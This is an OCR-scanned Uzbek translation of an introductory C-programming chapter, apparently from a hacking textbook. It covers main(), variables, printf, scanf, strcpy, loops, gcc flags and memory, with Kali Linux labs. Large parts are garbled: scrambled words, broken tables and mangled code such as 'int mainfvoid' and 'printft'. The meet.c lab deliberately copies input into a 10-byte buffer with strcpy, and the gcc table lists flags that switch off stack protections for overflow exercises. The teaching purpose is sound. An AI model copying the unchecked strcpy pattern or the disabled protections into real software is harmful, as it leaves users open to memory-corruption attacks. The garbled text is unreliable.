I keyingi boblarda muhokamg

main() funksiyasj
funksiyasini (kichik harflarda
ar mavjud, ular "Qo'shimcha
mumkin:

Har bir C dasturi main()
kerak (ba'zi holatlarda istisnol

) 0'z ichiga olishi
keltirilgan), Funksiya quyidagi shaklda bo*lishi

manbalar” qismida

] l. e = ¥
=LA J.FIIHHIH retnrn |'I:II;“L :‘?}{ 2 "HT"M"':‘]FI‘;GJHH" ':: :T‘
5 [ CEiEs =
; “ ”J“-If ;” (RN tfH."r. Xfcrfem 1S r““l fion WX
< e 5, =

jburi . Agar qay-
iladi iymat turi va argumenllarn'ua_JbUI_'Iy en:t_as e
Bl-f }’erd‘f Llai}'tanl‘}dliﬁ?rr;:?llii:lﬂsa. odatda int li_r!i_ i?h]&fl]ﬂdl. L:;I:ni :: nzI: il:?;:d
Rom e lm‘-]r n qiymat turi sifatida int tipini kc_:r Fsa:mag(fﬁ%hi b
pilyatorlar qu}:turllﬂdl’f“p ’f; harakat qilsangiz, ogahIanlu:mh ar B g
i oy I{:{;dtd::-:fx;wa buyruglarsatri argumentlarini uzatmogq
Agar siz main() funksiyasig

i gqo*llashingiz mumkin:
giz, quyidagi formatni go'llashingiz
) x g L ey J"
ional return value type> mainting arge, char * arg /]
<ayprfontal re f

s di va argv massivida
" ntlar sonini saqlay : har
. butun soni arguﬂ'fe. . ; bo'ladi. Dastur nomi
Bu_ _?re.rda .arg?-,-,;ulnr (matn kﬂ-nn[?hldﬂ - strll:lsg{}' }ﬁar majburiydir, Jinga-
— klrlli]ga;;l ;rgu qlﬂ-“adl Q'J\-’S]EII’ va Jlngﬂlai‘;qa‘kﬂ}rSHiﬂd] Gdl’l‘.‘hl Prﬂtscdu-
doim argv|0]da sa s ishi va tugashini e |
cining boshlanis larsiz hech qanday ama
lak qavslar kod blokining boshid bo*lsa ham, dastur u ey hilar
. : . iruvi Ixtiyoriy . "lumotlar yoki o‘zgaruvchi
ra va funksiya chagiruvi : shunchaki ma’lum et Kt
: . ayonoti s o a nugqta-vergul bilar
e Prm?Ldl:lriZa:. gir qator buyruglar bo b, odatca g
ustida amallar bajara

tugaydi,

Faskuywiar i ki boshga funksiyalar to-
.taqil kod bloklaridir, ultll""""_"“‘{ZI - va kerak bo*lganda ko'p
Funksiyalar mustaqt kin. Funksiyalar doimty emas dni qayta yozish zarura-
monidan chagirilishi mm.n hu; esa dastur icllid,a o~ mI-11-((:1._'1‘;1'|'?m1ki1*1:
Marta chaqirili:ahi n"lvllljlk;::ing formati quyidagicha bo'lishi
o . qﬂndl. = name (<optional function argument=>J{
"t

qe=> fln
" iyl venlie e
ﬂ:,ﬁr}f{‘r”f{h: return valie 0

{
]

. s asini tashkil
‘ funksiya signatur
ntlar ro*yxati
rgul'lll?..'

i gabul gilishini va
ida funksiya Qanda_y_argl:l";::i:lﬂnl;fzmqkim Shiiniisgdes
. Sl yﬂrf:m:llutiar bilan ishlashini aniq
; a’lu
ularning ganday ma

i giymat bo'li-
' anday turdagi giyma
dan so‘ng qiymatni qaytarsa, u q
funksiya bajarilgandan

shini belgilaydi.
Funksiya chagiruvi quy!

unksi ivaa
Bu yerda funksiya nom

irilishi mumkin:
- L.o*rinishida amalga oshirt
dagi ko'rinis

= function name (arguments

-
re the renirned value
:‘gnunrrfj:

<optional variable 10 .s"::fﬂ” :
if called for by the func




Misol sifatida quyidagicha keltirish mumkin:

finclude <sidio >
#include <sidlib >

int foo() /@
return 8.

[}
¥

int mainfvoid) /€
it val =@
val x = foo(), @

printft"The value returneq is: %

exiti) ;g Yod\n®, vaf xi.‘ﬁ@

¥

Bu yerda kerak]; b
A : osh-sarlavha (headar: o
;i]::;;ti fuﬂlﬁs'}’i{iﬂﬁning e’ '{,;Zif{':]j tayllari Kiritiladi, ular orasida exit
daianaFﬂI;;n T:Il_}’am 5a stdio.h faylida Hj:i L|—Emn funksiyasi stdlib.h faylida.
akliging ki inamik bog‘langan fiunkc: dlangan boladi, Agar dasturda foy-
raligini bilmasangiz, map sscanf ksivalar uchup qaysi sarlavha fayllari ke-
: nf kabi s1 sarlavha fayll:

rul:finsaﬂﬁa I‘I'Ilff?jﬂat qilishingiz mumll:i'; |}£-]D llanman; k“'ri‘ihingi: : ;lft](ﬂ'id“ﬂi
N aniqlanadi. voide@ ,.: - Reyin maj g o S i

O ni argimﬂntlar q:amrid;ﬁj;,"mh]y“mm."" iqa}*:-:l‘;?
Kazishni e JUYEa yozamiz, chunkl B4
S ‘T I.S::"m;‘y'“"l Shundan so*ng, int -
oddiygina 8 qiym 84N qiymain; X0'Zgaruyehic:. Keyin foo® funksiyasini chaq’”
chiqariladi, bundy 4 qiy - Bu qi}fr;a::ﬂgs OZlashtiramiz. foo funksiyas'
i Matin: 6.+ K e - i i & g 1

mrmFéu satridan fn}'dalanil:;:'néyu X Sanogq lirir;ir:Er:‘L?dprm” dsigules m:i: y
- U?leya_lar‘ntl chagirish dastur o . Ida ko*rsatish uchun 7o
fi . ..EES . bi?_fanhshi Vaqtinchy 1 : -n'fllm"’i 0* Zoartirad: . :
unksiva bajrilgandan- gy 89l g i Funksiya chagirilgani
-; flt";" Xolirada chagjryy hu}'n:l “OShqaryy chagiryy tEm““ sakraydi. Chagirilgan
e, B'f Jarayon, 10-bopyg, & idan bevositg Crgan funksiyaga L|il}’“f"i"
tushunarli bo*| di. stek Gpemtsiyaiﬂrl?ﬂsldagl virtual xotira manziligd
' Muhokamag; davomida yunﬂd*‘

0 ; e
zgaruvcil'ular dasturiama u%zr“Vth?lar ( Variahle)

garishl .
£ umﬂ'“ﬁr i "z mumkl i . o
EARUNGhilg 0 gy 07 VA dasturga dinami
o keltiijggy -+ hUn ishlagilad, 2,1-jadvald?
rifiga muyof, o> K9 pehili

4. Dldin . lk'_ u‘zgam‘ﬂ:h' sy — bu*["
0 Ichamlaming aynan Shu'n d‘ i vaidagain;]l'al:l 2an ﬁks{qaltl:;; 1;11111_?311:3:) o'l

aniglash usyl: Y bo*fien: cha : grangaty
AHH Uil apparat t'rifigg ey SNIgA hegly o 2" Odatiy deb hisoblanadi: P
g lig b“‘Iﬂdi Bclfmda}’ kafolag yo'q U‘Ichamm
36 19 Ctilida sizeof) funksiy®'

ishlatiladi, bu orqali kompilyator to'g'ri o'lchamlarni ajratishini ta’minlaydi.
O*zearuvehilar odatda kod blokining yugori gismida belgilanadi. Kompilya-
tor kt‘uit;i tahlil gilganida va belgilar jadvalini tuzishda, kodda keyinroq ishlati-
lishidan oldin o*zearuvchini bilishi kerak bo*ladi. Simvol so‘zi oddiygina nom
yoki identi fikatoroi anglatadi. O*zgaruvchilarning rasmiy e'lon gilinishi quyidagi

usulda amalga oshiriladi:

; ; ; i initialization starting wirh "=">;
<variable type> <ve wiable name= <optional initialization staring

2. I-jadval.

O‘zgaruvchi turlari

('zgaruvchi Foydalanilishi O*lchami
turi
Signaturali butun son giymatini, yani I'F :"'T“ 64-bit mashina uchun 8 bayt
. -314 qiymatni saglaydi. hlg“f“_‘f“ﬂ' butun ?'“1 471 32-bit mashina uchun 4 bayt
e musbat va manfiy giymatlarni ifodalashga imKon | 4o bii mashina uchun 2 bayt
beradi
Signaturali “float” ko*rinishidagi tipni, 4 bayt
float va'ni =3.234 giymatni saglaydi.
Signaturali “float™ kn‘rinisf_ﬂdngi 8 bayt
double virik giymatni saglaydi.
o - - =t enalavdi | bayt
char Bitta belgini, masalan, d harfini saglaydi y

Misol uchun,

fnta = 0
butun son xotirada a nomli o*zgaruvchi

at sifatida 0 beriladi.
assignment (tayinlash) kons-

o*zgartirish mumkin. Misol

ega bo'lgan
dastlabki qiym :
n qilingandan keyin,

vehining giymatini

odatda 4 bayt hajmga
bilan ¢’lon gilinadi va unga ¢

Bir marta u‘zgﬂruvchi e’'lo
truksiyasi yordamida 0'Zgard
uchun, quyidagi ifoda:

x=x+}:

i bo'li ‘zg hisining giymatini
; ratori bo'lib, u X o"zgaruve ‘ +
1[1[1}511}y*:1¥;]’;i qiymati mavjud giymatga + n]-:ur:ramr: orqali
::1%3;{]3, quyidagi formatdan foydalaniladi:

bu assignment (1ay
0*zgartiradi. Bu yerda X
I qo*shilib olinadi. Ko'p I
; alors=

destination = Source 2ywith upfmua! operalt




>

bu yerda dcslinatiqn (manzil) - natijani saqlaydigan joy, source + modificati-
on (manba va o'zgartirish) esa giymaini yangilash uchun ishlatiladigan ifoda.

- printf
C das:turiash tli '_k.wpiah foydali funksiyalarga ega bo'lgan libe kutubxonasi-
ga ega. Ush?:_-u Fur{ksl;-,ra'ian?l.an biri, keng tarqalgan printf buyrug'i bolib. asasan
ckranga natijalamni chop etish uchun ishlatiladi. printf buyrug*i ikki shakigz; u;.*.:r

printfi<string=>).
printfi<format string>. <list of variahles, e —
Birinchi format oddiy va ekranga oddj £ b
inchi . Y matnni ¢ : : _—
ek ot s K'proq moslshuvchanikn ' minap, e 1140
keltirilgan {;‘zgamvf]ﬁr meiam[:da format turi qo*Ilanjladi, ular ver id—au}k* i
ishlatiledigan fortmar l;:;r'i]ﬂ yxati uc_hun 0'rinbosar bo'lih Xizmat i}agc?‘ E" '."-"”:n
Bu fociit tirlait 4 gilarini 2.2-jadvalda ko'rishingis m""ﬂki.? I. Eng ko'p
faylga vozish yoki hn:;lumi.-"ga “’!a‘lummlami ganday gjlib Ck”; i
da amalga oshirishga im].;qga Ill:’l‘kﬂl'l.l}"aﬂ.ami Printf” funksiyalar Gi?; Fan
ga mansub ekanini hilsangir; v;mdlj S0l sifatida, agar n‘zgaruvch‘il H}’t‘lft i
bo*lsangiz, hamda unin kengli b ﬁC:a[. sifatida chiqarilishin; i Iua tu:l-l
qismini cheklamogchi bi*[sag l-{;m" Yani suzuvchi nugtadan oldin ]Llnfamur.‘]t. .
ko'rsatilgan kodni iu‘lllalishinn'gm' KaII.Lmuxdagf quyidagi laboray oy Iﬁc}q{lgl
ramiz va so* : g_lz l‘ﬂ‘urle.;m_ Bu yerda ayya) shellni wisidn m'm“d_a
ngra GitHubdan kodn; git clone yordamida }'ukfalm .baShga 0*zgarti-
Ymiz,

a chiqarish,

(— printf Format tyri 2. 2-jadval.

& i!l“
Fn““a' ll-"l “‘“usi M 50
l:'/'.I'i 44 .LIS all
ol ”LLh narsa Chﬂl! ﬂllll‘d}'di Pl" ir -
Yed - m {Hl'tuj "%
“‘u O nflk s0n 5 L
boe f’rinll'{"lu 51 n.'/ndh 123
- - . -..J:H
:u [Hﬂllih qivmat |’l".il'lt|'{"1l:’il Vo5 l_’3]
[ ].n ﬂ“”k I Fin Eku . :‘_ ;
1K 50n i
;'l; = | If'[“lf:.[ A:Ix“.. UNI :
(1] ”ﬂqqu}' ﬂﬂnf iﬂﬂ” Prinll'l"lcx‘l %ol | 3 L
Oaf F 51 %of - US},

tkali kali)-[~]
5 bush

[—rkuﬁ kali)=f~/] - _
S git clone htips: ‘github.com GravHatHacking GHHv6. git
Cloning into ‘GHHvE'.,

remote: Enumerating objects: 309, done. i
remote: Tortal 309 idelia 01, rewsed 0 {dfelia 0, _.-:wk-n'nsr_d S04
Receiving objects: 100% (509:509), 98.11 MiB 21.29 MiB's, done.
Resolving delras: 100% (138 138), done.

Updating files: 100% (105 103). done.

E‘J{nﬁ ki:.fﬁ]‘-"r *f
Sils
Dieskrop Downloads GHHv6 Picrures Templates
Documents ght Music Public Videos
E—r.‘l‘uh’ kalir-{~]
3 od GHHve chil2

——tkali kalij-{~ GHHv6 eh2]
Demak, quyidagi kodni ko'rib chigamiz:

L8 car fmi stre

Hinclude <stdio >

int mainfvoidl}

dowhle x = 23,5044

prinmfi " The value of x 7s 955.2fn", K1
pr.r'u.:rﬁ "The value of x is "ad. Ifin", x)
rFetnr ()

da ©@ umumiy kenglikni 5 gilib tfﬂigilﬂ}’miz va hagiqiy
nchi printf chagiruvda @ esa umumiy
an keyin 1 ta qiymat chiqariladi.

lib, ishga tushiraylik:

Birinchi printf chaqiruvd i
sondan keyin 2 ta giymat chiqaramiz. ;
kenglik 4 gilib belgilanadi va haqiqiy son :

Endi bu kodni gee bilan kompilyatsiya g

E‘Fkuﬁ kali)-f - GHIHv6/ch02]
$ e fimt sive -0 fmi_SIr
?::dfi ﬂ'ﬁﬁ!—{ _GHIHv6'ch02]

:..-I_."m.* s

The '-'n.’:w-ty"_t' s 23, j.ﬁ

The value of x is 23.6

2020).4 64-bitli Kali Linuxdan fovdalanadi

: misollar 2
. . 1ol ””.\HH: : e o ) g

; Estatma: Ushbu .h.-;h.:.": ’{f‘,r wlelanavorgan bo Isangiz. kompilvator sozla
Rar wj= 32-pigli Kali LITHAE

; ; te Bl
Merlaring o =gartirishingi= kere

i .
& ho lishi sankin




-

scanf

scanf buyrug*i printf buyrug'ini to*Idiradi va odatd

a foydalanuvchidan kiritish
ma’lumotlarini olish uchun ishlati

ladi. Uning formatj quyidagicha:
Seanfi<formar string=, <list of varighles Valties=);

Format qatori printf uchun 2.2
ichiga olishi mumkin. Misol uchun,
qabul giladi va uni “number’

-jadvalda keltirilgan
quyidagi kod foydalar
" deb nomlangan 0'zg

format belgilarini o'z
wvehidan butun sonni
aruvchiga saglaydi:

seanfi"%d", &number);

bning keyingi gismida ham
hday o‘zgaruvchi nomidan
ozim. By buyruq juda mos-
tomatik ravishdg 0°zgartira ola-
: ' Kiritsangiz, buyrug belgi giymati-
dlymatiga aylantirag;. Biroq satr o'lchami

Imaydi, by esy Muammolarga ol kelishi mumkin. Bu
uhokama gilinad;.

ni avtomatik ravishda o*nlik (ASCII)
bo*yicha chekloylar tekshir
hagida 10-bobda batafsil m

strepy buyrug'i C tilida ishlatiladi
formati quyidagicha:

strepyvi<destination>. <Sonrce>);

Bu buyrugning Mmagsadi manbg
qatori, oxirida \0 nu isi

ayniqsa, xavflj, chunk;i
shirilmaydi, Aslida biz

ta’kidlash Joizki, ag
bu toshib ketis ' ishi my
bajari]ishining nazorati yo'*qolishi i
latilganda, xavfsj
Quyidagicha:

Sirncpyf< dﬂrﬁmﬁmr}. “Source>, “Width> ).

D

) -

i aydoni manba satridan manzil satriga fagat ma’lum n::?d;:;;g;
',iw“i.lh} n_m} hni ta’minlaydi va bu dasturchiga ko'proq fiazur:.i n‘ -
hflglh.‘ll‘nl nus.\ﬂl?ﬁ :;‘lda manzilning, masalan, ajratilgan bui'ermfzg ]‘:lﬂ_]ll":"ilgi.:i ot
Kenglik F-m:aﬂ'f‘*'ltfl Uk‘lHa‘ mni nazorat qilish va xatolarni hnshq?.rgh 131 umin f}-
langan bo'lishi kera ;c'}_r l':]uq._,hil funksiya bu snprintf buyrug 11:}-. . 111:2:im s
ega bo'lgan huslﬁa _Il.da satrlarni boshgarish har doim dasT:u.rc rlnImg .,,-a e
oo Chdﬂ;mrh'i::i lzl:::run:ﬁi tufayli munozaralarga sabab bo'lib kelgan va q
ratishini boshgari -
tangid gilingan. ; dardan. masalan, serepydan h'r_n.-';:e’;f':.'.':a’: .um Vis
".-.""””““ i Hl:-‘-l1“ ':f',;x.',lu'.ﬂ;u'; ﬁ.!u'.k."ln': ushbu funksivalar tono-
P vy 1
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toshih kerishi bilan bog'liy hjumlar ¢
huter Hisi "
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fer e e fovdalameanlarida Ko plab dastirchilar ushbu xavli fun L f1il
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vetish hedatlari hali Tam heng f; i kene targalean muamino hisoblana
i 5 i it k I||r||' Al - i ¥ . ¥
; aacrd kodlar vama warision tizimdar ushbu trdag
Lan merost Legae eerdenrlor vl operarsic
Ij i

-
" Fooes # “,l"}lj ‘-Jl"\r::“”‘
Yavshivambi, ko pgina Romj olishea vordam heradigan 1

inf ¢ oldint i ©f tish joizki, haro
. dan fovdalanisinting vatlavei. Shuni avii §
-l-lrl'-l-lf.l"|:.|'l|.'r|.|l|.;lll Feividi .III.IlI lr}"l—[“.”ﬁll' i
g . Jid 1
ferloprtnid g

- I tutavli

] Y IRY « a3 ey wini hisoblas L

Sugarshn imova vesd ori hufer o lohami
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' Lar Dam nota g
! I F it PVl &

|_|'||I-J-'I|,“|_||lr.‘|:-”r,|]' .I_J.|“|l;\.

o f ki
Vertorlaroa duch kelishi mn

soa ishi 2.2: Sikllar (Loops) .
ratorlya ishi i bir necha marta takrorlas
Sikllar dasturlash

' tur ile sikllaridir.
“adi ikki turi —for va whl_ : -
co'p ishlatiladigan Ik i . biror shartni tek-
Uchun ishlatiladi. Eng L“,F‘l‘jziimaldan hisoblashni boshlaydi
for sikllari boshlang’ic

i iymatni oshiradi. For-
di va keyingi takrorlanish uchun qiyma
H - : - l [
Shiradi, buyrugni bajara

Mati quyidagicha: o
v <pfiange valie

fe beginning valuwe=: ztast value=:

Jar{<beginnin

=statement>;

/!

. - gikh'
Masalan, quyidagi for
Jorgi=0; j<10; i++)
Prinefi"%d". i),

; larni bitta gatorda chiqaradi (chunki \n ish-
on

G

i]gan 5
ekranga 0 dan 9 gac;la o
lalilmagan}: 0123456789
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Eslatma: Bu verda kamrog ope

Fatlart <y g-
<= ishlatifme elniga ¢ thor ¢

| fiiga kam yoki reng operatori
raratish muhim By sikining |

1 b oo ofu-
Bir tushisine frit

vom etisliga imkon beragdi ‘hirea tenot tirisd
= RSN iriny
0d 3 Py v " ||’l.ft‘fr||fi|’|’.|'r4’ he f,l'\l'l.f -':IIL'J"r.r.lr. .*i;n'.’-"i’-rl'f-'"n'lu,'-f. flr“,.,ur....".,u,f-.-u'-r
R Dostdanishiga ¢ tibor herine B ' = SR
ga ¢ tiboy 'ﬁt””'- Bu ( Hiteler i:.l'HIL'

Ko ‘nikivh feizim

" i I 1 rreer enlih
kefivhi mimkin, shunineg eh Varteilonrin

-"a.rf':l.’.-.r."lf__-'q;a..' ;".l”,-’,.-.r ver Dol

[_——fi'uﬁ kali)y-f~/GHEH Bichi2]
S cat while ex.¢

Hinclude <stdio >

int mainfvoid) f

tht x = (0;

while fx< 1y f

Printf(" = %din*, ).

X+,

f
¥

return
[}
thali kali)-|~ Gy vi/chi)2]
5 gee while ex.c .o while ey

[-——n{'uh' kali)-[~ GH."II'-G.-}:I..'H}}
S while ex

MR MR koM oM oH K
\:\'J:"-uak'n-{..hutv--.g

Sikllar bir-birining ichida Joylashishi, ya'nigo*

bo*lishi ham mumkin hma sikllar (nested loops)

Laboratoriys jshi 2 1. .
iffelse konstrujs; Oriya ishi 2.3: Shart operatsiyalari if/elge

it Bijarish nchu issﬁfast]ug:;;t’:; rb;l: ;r!:abn _ba;'larilganda bayonotlar ketma-ke);
: a + . 5 i =
=) Jarilmasa, IXtyoriy else hlﬂkldagi ba:

'onotlar bajariladi. i
y r baj I Agar else plok; bo‘Imasa, dastur ogimij jf blﬂkining Yopilish
pilis
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i i ikl ichida § lashgan if/else konst-
qavsidan (}) keyin davom etadi. Quyida for sikli ichida joylashg

ruksiyasiga misol keltirilgan:

ckali kalii-{~ GHHv6 ch02]
Eﬁ_t':n’ ifelsec

finclude <stdioh=

i o voidi |

inrx =0

whilet 11;Q)

ifix = )|

primtfi®x = %adn”, X

b n

contine:
[}

l'l’.‘u.’ ,'B
prinmfi ™y !
break: @

L

TR

Fetieren (1
*i
[
thali kalij-{~ GHHv6/ch02]
:.L't‘:' ifelse.c -0 ifelse

E——-r.i:u."a' kali)-{~ GHHvG ch02]

5. {'.ﬁ_‘h-‘l"
X=
XED

Ushbu misolda while@® siklidan

 iracate: Oiloa

ta bajarishni tashkil q‘lﬂmlz.::::; 0 ga teng bo’l
i in print ;
HZ'EKglirﬂng qiymati | bo‘lgani uchun,
n arti bajarilmaydi. Shunday qilib,

ksiyasini chagiradi va keyin sikl-

qilib o*rnatamiz. x ning qiy!

afl ‘1
® sharni bajarishga muvaflag bo

: . — vom ¢lal .. Gs
X ni | ga oshiramiz va da f bayonotining st

u ham printf

o 5 . i ¥ . 1 "'
bﬂ"“'ﬁg ikkinchi aylumslud_a

hiz else ha}.’gnnligﬂﬂ o'tamiZ,
dan chigish uchun break

9avslar bekor qilinishi mumkin
Izohlar (Com™

W la
Dastur kodini o*qish q¥

; } iradil
kog ichiga izohlar J'}}'lasmlmﬂk”

OYdalanishingiz mumkin:

s jarilis
“™Mi kompyuter dastur bajaﬂf K

*
k““ﬂkfigini bildiradi. /* V@

@ buyrug'in

yligi

foy

an
niz.
fun
i hajm‘adi A

val boshqalar

ar. Siz kodga iz0

hida

sa bir necht? q8s0

R Idin, xo"zga e
kirishdan ﬂganligi sababli, if bayonotidagi

*/ [/ izoh tur :
*ve IIII da qﬂhlll qi

dalanib, iffelse bayonotlarini gayta-qay-

ruvchisini 0 ga teng

f funksiyasini chaqiramiz,

gar faqat bitta bayonot bo‘lsa,

ents) |
bilan ulashish uchun dasturchilar

h qo*yish uchun ikkita usuldan

: shu qatordagi golgan bnl.gi:
' 1 qilinishi va bajarilmasligi
i o'z ichiga oladigan izohlar
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blokini boshlash va tugatish uchun ishlatiladi. Bu holda, /* izohni boshlash uchun
ishlatiladi va */ izoh blokining tugashini bildiradi.

Namuna Dasturlar
Endi siz o'z dasturingizni ko*rib chigishga tayyorsiz.

Laboratoriya ishi 2.4: hello.c

Biz dasturdagi // izohlarini qo‘shgan holda boshlaymiz va keyin dastur

hagida
qisqacha muhokama gilamiz.

I—_—!.‘:ﬂﬁ kalij-[~/'GHHvE/chi? ]
S cat hello.¢

hello.c  eustomary comment of program name
#include <stdio > // needed Jor screen printing
int main(}{  required main Suncrion
printft"Hello haxor'n®™): i/ simply sayv hello

} 4 exi program

Ushbu juda oddiy dastur
haxor!™ matnini chigaradi,
qilib kompilyatsiya gilishni

printf funksiyasidan foydalanib,
u stdio.h kutubxonasiga kiritilgan,
bilasiz, endi unj 0°zingiz amaliyotda

ekranga “Hello
Siz endi ganday
bajarib ko*ring!

Laboratoriya ishj 2.5: meet.¢
rog'igao‘tamiz. Quyidagi
ularni saqlaydi va keyin cho

E—r.ﬁwh‘ kali)-{~/GHHvE chi)2)
§ cat meer.¢

"meete

Finelude <sidio h=
Winclude <string hy> needed for strepy
void greeting(char “templ char “temp2)! @ /, Breeting fune
char namef 00]: // string variahle to hold the name
strepyiname, temp2); /1 COPY argument to name

primft"Hella %y Zaxin" fempl, name): & ;7 pr
)
i

Endi biroz murakkab dastur foydalanuvehidan
ma’lumotlarni gabul qilib,

p qiladi:

needed for sereen primting

Hon ta say helly

ith the infamouy strepy
it aut the greeting

int mainfing arge, char * argvf]i)| ©

: " note the format for arguments
Ereetinglargv(1], argvf2 : 8,

: ‘eall function, pass title & name
primfi"Bye %s %s\n" argv/1].
10 / exit program

argvf2]): @ say "bye"

: I'I. La 1. DU b =

chigiladi ©.

ilvatsiva qilish
e D kn:;.;illilc!ﬁtr?;l?a kodini mashina msh!.;na-
W i i anda, kompilya-
igan ikkilik fayllarga aylantirishni 0°Z [Chig8 uladt:*tnﬁ::;ﬁan oraliq fayllar
it i I:{} o | giladi va uni “obyekt %mtil : ryor bo*ladi, lekin man-
Wk km.’!!.nl qu‘bud'q Bu fayllar deyarli ha".mﬁhga “ ?;uan murﬂjaatlami hal
i g ql-lﬂ t:a‘zi belgilar va lmkmﬂ]arg;a bk?arghir obyekt faylini bit-
tml k;]dlda k:‘l“il!ﬁﬂ"éi:zllnkin Bu belgilar va murojaatiar
qilish kerak bo‘lishi - =

: : i hal gilinadi. Bu jarayonni
ishiatiladiean ikkilik faylga bog'lash jarayoni orgali hal
la ishlatiladigan ikKk B

: ichlar shular. )
E at |ekin asosiy bosqic s B T —
$iz uchun mddalu-ijlusi:it:l;:;tll;lsﬁ (ili bilan ishlashda ko*pchilik dastur:
Unix tizimlarida

‘ri i kompilyatsiya
i afzal ko‘rishadi. GCC
i oydalanishni afzal ‘o i iladigan bayroglar
C Cumpiicrl{t??ﬂg::gqi?:;i taklif etadi. Eng ko‘p ishlatiladig
qilishda ko'plab imkoniy:

(Rlags) 2.3-jadvalda keltirilgan.

s B Sagm AR
Kl.'fl'l'lpi]}"ﬂlﬁ'}f'ﬂ jaray onil nson

2.3-jadval.

ri
Ko'p ishlatiladigan gc¢ bayrogla

Tavsil

e e  —_——
Option Ini shu nom bilan saqlaydi. Standart

—

ilingan ikkilik fay

Kompilyatsiya q'1u i

qivmati a.oul bo

=0 <filename>

an favini hosil giladi, bu fayl s
larini o'z ichigd olgan faylni hosil q
cembler buyrug s
s bilan saglanadi.

-3 k '1‘1‘“11!""““5l . tlarini hosil giladi; bu
— liklarni tuzatish (debug) ma )
— e « fa
ehimeha nosoZ ;
Qo' shimeh da foydali. —
~pedb gdb bilan ishlagan T kengaytmali obyekt fayllarini
- iva gila I3 = o
- kompilyatsty
il dan
Bog'lamas! e
- hosil giladi. \ dan foydalangan holda kompilyatsiya
1 S1CK
SRR e—

pWORD o jchamdag

' :I i
In y i |

Dasturni «raanish
qiladi, bu esa 0'TE"

i ~ 4.1 bi
«chiradi; GCC ;
: L:'Irgunayulgmuda foydali

~mpreferred-stack-

boundary=2
oot BN ]

5 bufer
o Ilmgan_ Bu ha:\fi‘ﬂq e
- lan Jﬂﬂ}'h"':ﬁl hagida 11-bobda hilib
. meini
Stek himoyast

o Lotishlarini
"F“U-Slnck-prnltﬂlm toshib ket

; -
olasiz. By variant ham 11-bobda o‘rganiladig
""--._______—___

i tekni ;_.rnqﬂdL da foydali.
Ijro ctiladigan S ;mrilﬁ organayotgan
—Z execstack

bufer toshib ketis
-"'"--___________

J -t b w6, o
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Laboratoriya ishi 2.6: meet.c kompilyatsivasi

meet.c dasturini kompilyatsiya gilish uchun, Kali 2020.4 64-bit tizimida
quyidagilamni yozasiz:

kali kali)-[~/GHHv6/ch2]
8 goe -0 meet meel.e

Keyin yangi dasturni bajarish uchun quyidagini yozasiz:

E—r’km’ [ kali)-{~/GHHv6/ch02]
S imeet Leet Haxor

Hello 1337 Havor

Bve 1337 Haxor

5

Bu kitobda va undan tashqarida ham turl;
lanasiz, gee hagida qo*shimcha ma’l
miga o‘tishingiz mumkin,

kompilyator parametrlaridan foyda-
umotlar uchun “Qo*shimcha manbalar” bo*li-

Kompyuter Xotirasi

Eng oddiy tarzda aytganda, kompyuter Xotirasi by ma’lumotlarni saglash va
gayta olish qobiliyatiga ega bo‘lgan elektron mexanizmadir. Saqlanishi mumkin
bo‘lgan eng kichik ma’lumot miqdori 1 bit, hy Xotirada 1 yoki 0 bilan ifodalanadi,
Agar 4 bit birlashtirilsa, bu nibble deb ataladi va 0000 dan 111 gacha bolgan
qiymatlami ifodalay oladi. 16 ta ikkilik qiymat, ya'ni 0 dan 15 gacha bo*lgan
o°nlik giymatlar mavjud,

Ikki nibble yoki 8 bit birlashtirile

1), ya'ni0 dan 255 gacha bo‘lgan qiymatlarn; ifodalaydi. Ikki byte birlashganda
word hosil bo'ladi va bu 0 dan (2's — 1), ya'ni0 dan 65,535 gacha qi}*mal]ar:
ni ifodalaydi. Agar yana ikki word birlashtirilsa, double word {DW’DRD) hosil
bo*ladi, bu 0 dan (22 - 1), ya'ni0 dan 4,294,967,295 gacha bo*lgan qiymatlarni
ifodalaydi. Ikki DWORD birlashganda quadruple word (QWORD) hosi| bo*la-

di, bu esa 0 dan (26 - | ), ya'ni0 dan 18,4415,?44,111?3,?1]9,55],515 .
lamni ifodalaydi, gacha giymat-

64bitli AMD va Intel protsessorlarida faqat
256 terrabayt xotirani manzillash imkonin; beradi
da yaxshi hujjatlashtirilgan,

Ko'plab turdagi kom

quyi 48 bit ishlatiladi va py
- Bu ko*plab onlayn manbalar-

pyuter xotirasi mavjud bo*
Xotirasi (RAM) va registrlarga e'tibor qaratami

ga o'ratilgan maxsus xotirg turlari bo'lib, ular b
“Registrlar” bo*limida muhokama qilinadj.

D

Isa-da, biz tasodifiy Kirish
z. Registrlar Protsessor]ar-
u bobning keyingi qismida.

.1; |
& - mn
Operativ xotira (RAM) , oy .
RAMada saglangan har ganday ma’lumot istalgan \=aq1da‘nlmganl]i_gl Sahi:b:;I:
Sl Patt = o X - - #e H '
tasodifiy kirish deb ataladi. Biroq RAMning o°ziga -‘-ﬂsjihﬂnf‘*lhu“dl‘; , I:::ﬂn?adi
hi:'.uhlal;adi. ya'ni kompyuter o*chirilganda }"}dﬂgl hﬂ'ﬂl'ﬂ i '-:";Ea ::11'&}' il?.:_anda:
L Zumnn-u:'i\; Intel va AMD mahsulotlarini (x86 va x64) N 1 d{:!k:. rot
i s = . 3 i
Xolira mos mﬁqhda 32bitli yoki 48bitli m;mzlllﬂﬂﬂff]" BIZI Sll'm|1.i| atl?IE j:;arl\ rl|‘1fn1il
: gt e voi ilini tanlash uchun ishlatila
idan ma'lum bir xotira manzi tar ; g
:;.l::'.surrln:nnin‘;itlﬂznr::l‘s ravishda 32 yoki 48 bitdir. Shu sahal;lsu Ixf;p;;s;sis{;n;;i;
siiinah kenghg 2 : B! 1,976,710,
manzillanadigan maksimal xotira 14..2943&7,195 bayt yoki 3
ayt (256 terabayt)ni tashkil etadi. T R T
bayt [ﬁlbi_tﬁfal:‘;i;lz;;:lw da kelajakda xotirani manzillash |mknn1i,fatzllar1;1:ilz\§::
. *shilishi in, ¢ hozirg -
l%l?ri 4h l:L I:ul:'n qo'shimcha tranzistorlar qo*shilishi mumkin, ammo hozirg
Zavtns e :

lar uchun 2+ bit yetarli hisoblanadi.

Endian _ .
1 t Experiment Note (1IEN) 137da, 1980-yilda Danny Cohen o*zining
nternet kLx v

* magolasida Jonatan Swiﬁping “ELF:.:Hnw-
...F}n Holy Wurﬁ_,?“{_i - Pil‘:ai:;;:?:;dugi:iha hayu_:m qilafdi: guuWﬂk:‘“-:f:imﬁ
i i i ]w kichik uchidan sindirish ma_lburxyafz yu [:n hi q-.*,
quurn!urgu ﬁlL!:Jl. ll{x}lmllf'd:i' Ushbu quﬂu““i hozirgi h.ukmdj:immg th OS] Jar;_ :
